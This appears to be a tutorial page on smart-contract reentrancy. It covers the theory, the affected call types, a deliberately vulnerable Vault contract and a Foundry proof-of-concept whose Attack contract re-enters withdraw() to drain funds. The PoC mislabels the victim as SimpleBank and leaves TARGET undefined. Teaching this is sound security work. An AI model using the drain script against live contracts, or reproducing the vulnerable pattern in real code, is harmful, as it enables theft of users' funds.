Reentrancy
SCWE-046: Reentrancy Attacks
Theory
Reentrancy is one of the most well-known and impactful vulnerabilities in Ethereum smart contracts. It occurs when a contract performs an external call before updating its state. This allows the external contract, possibly malicious, to reenter the original function and repeat certain actions, like withdrawals, using the same state. Through such attacks, an attacker can possibly drain all the funds from a contract.
If a smart contract function:
- modifies balances after sending ETH,
- changes storage after calling an external contract,
- depends on invariants that must hold during execution,
then an attacker can exploit this state inconsistency to drain funds, bypass access checks, or repeatedly trigger logic.
How Reentrancy Works at the EVM Level
- Contract A executes a function (e.g.,
withdraw()). - Before updating its state, it performs a
CALLto an attacker contract. - The attacker contract’s fallback or receive function is triggered.
- The attacker calls back into A — re-entering — while A's state has not yet been updated.
- The victim contract is tricked into repeating a sensitive operation (usually transferring funds).
.png)
Practice
Reentrancy does not only affect simple Ether withdrawals. It applies to any external call, including:
call(),delegatecall(),callcode()- ERC777:
tokensReceived, - ERC721:
onERC721Received,safeTransferFrom,_safeMint - ERC1155
onERC1155Received,safeTransferFrom,_mint,safeBatchTransferFrom,_mintBatch - And other specified here
We may use the tool slither to automatically detect external function calls.
Single-function Reentrancy
Single-function reentrancy is the simplest and most direct form of the vulnerability. The attacker simply needs an entry point that:
- performs a state-changing action,
- but performs an external call before the state update,
- and uses the affected state variable again upon re-entry.
Below is a minimal example. The contract reads a state variable, performs an external call, and only then updates the state, allowing the attacker to re-trigger the same logic multiple times.
contract Vault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
// Vulnerable: sending ETH before updating state
(bool ok,) = msg.sender.call{value: amount}("");
require(ok, "send failed");
// too late
balances[msg.sender] = 0;
}
}Running the below foundry script will drains the vault by performing a reentrant withdrawal.
// foundry script: PoC_SingleReentrancy.s.sol
pragma solidity ^0.8.20;
import "forge-std/Script.sol";
contract Attack {
SimpleBank target;
constructor(address _target) {
target = SimpleBank(_target);
}
// fallback gets triggered during the victim's external call
fallback() external payable {
// re-enter only while there is still money to steal
if (address(target).balance >= 1 ether) {
target.withdraw();
}
}
function attack() external payable {
target.deposit{value: msg.value}();
target.withdraw();
}
}
contract PoC_SingleReentrancy is Script {
function run() external {
vm.startBroadcast();
Attack attacker = new Attack(TARGET);
attacker.attack{value: 1 ether}();
vm.stopBroadcast();
}
}